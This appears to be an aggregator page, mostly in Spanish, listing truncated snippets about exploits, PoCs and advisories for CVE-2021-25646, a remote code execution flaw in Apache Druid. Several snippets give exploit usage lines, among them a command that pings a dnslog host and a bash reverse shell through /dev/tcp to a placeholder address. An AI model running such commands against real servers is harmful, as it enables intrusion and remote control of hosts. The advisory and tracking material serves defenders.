Apache-Druid-CVE-2021-25646-Exploit

Apache Druid RCE Exploit CVE-2021-25646 Exploit Python para ejecución remota de código en Apache Druid mediante inyección de código JavaScript CVE-2021-25646. Descripción Este script explota una vulnerabilidad de RCE en Apache Druid versiones 0.20.1 que permite la ejecución arbitraria de código a...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache Druid CVE-2021-25646 herramienta de detección y explotación de ejecución remota de código Ingrese un nombre de dominio o IP:puerto para realizar la detección de vulnerabilidades Se puede ejecutar comandos en los objetivos vulnerables detectados Admite un solo objetivo...

Cybersecurity-Capstone-Project

Cybersecurity-Capstone-Project Descripción general Este repositorio contiene mi Proyecto Final de Ciberseguridad, realizado como parte del NCSC Nashama CyberCamp 11 , impartido en colaboración con IT Security C &T. El proyecto demuestra un flujo de trabajo completo de evaluación de vulnerabilidad...

CVE-2021-25646

Apache Druid Ejecución Remota de Código CVE-2021-25646 por j2ekim Modo de uso python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Artículo sobre la reproducción de la vulnerabilidad https://www.adminxe.com/2109.html Aviso de uso Cualqui...

Apache-Druid-CVE-2021-25646

Apache-Druid-CVE-2021-25646 Youtube https://www.youtube.com/watch?v=-mdK5HSRiQU...

CVE-2021-25646

uso: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd La reverse shell es la siguiente: Escribe el script de la reverse shell python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Otorga permisos de ejecución al script python3 CVE-2021-25646.py -u...

CVE-2021-25646-GUI

CVE-2021-25646-GUI Un pequeño demo para aprender el lenguaje C, con parte del código implementado basado en referencias de Internet...

CVE-2021-25646

CVE-2021-25646 Apache Druid Vulnerabilidad de Ejecución Remota de Código Script Wker Escribiendo... ===================================================================================== Primero, agradecer al maestro Wker por su explicación remota. El propósito de escribir el script es practicar...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 Prueba de Concepto Versión en Go Resumen Este repositorio contiene una prueba de concepto PoC para CVE-2021-25646, una vulnerabilidad crítica de ejecución remota de código en Apache Druid. El exploit está escrito en Go y permite la inyección de comandos de forma interactiva a travé...

PocList

Este proyecto ha dejado de actualizarse temporalmente. Al actualizarlo en una etapa posterior, me di cuenta de dos problemas: primero, parece que mi declaración sobre la ley de seguridad en el repositorio no fue lo suficientemente clara, lo que generó consecuencias que no deseaba. Segundo, al...

Exploit for CVE-2021-25646

Apache Druid Remote Code Execution CVE-2021-25646 By j2ekim...

Metasploit Wrap-Up

Operations shell Operations and management software make popular targets due to their users typically having elevated privileges across a network. Our own wvu contributed the VMware vRealize Operations vROps Manager SSRF RCE exploit module for the vulnerabilities discovered by security researcher...

Apache Druid Remote Code Execution (CVE-2021-25646)

A remote code execution vulnerability exists in Apache Druid. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

CVE-2021-25646

creationtimestamp| type| source ---|---|--- 2021-02-05 23:22:52+00:00| published-proof-of-concept| https://t.me/thebugbountyhunter/5128 2021-02-06 07:37:08+00:00| published-proof-of-concept| https://t.me/cKure/3868 2021-02-09 12:30:57+00:00| published-proof-of-concept| https://t.me/reconshell/428...

Exploit for CVE-2021-25646

CVE-2021-25646-GUI A small demo impl...

CVE-2021-25646

CVE-2021-25646 affects Apache Druid where an authenticated user can trigger execution of user-provided JavaScript in certain requests. The root cause is improper validation that enables the server to run code with the Druid server process privileges, potentially compromising the host. Affected ve...

CVE-2021-25646 Authenticated users can override system configurations in their requests which allows them to execute arbitrary code.

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a...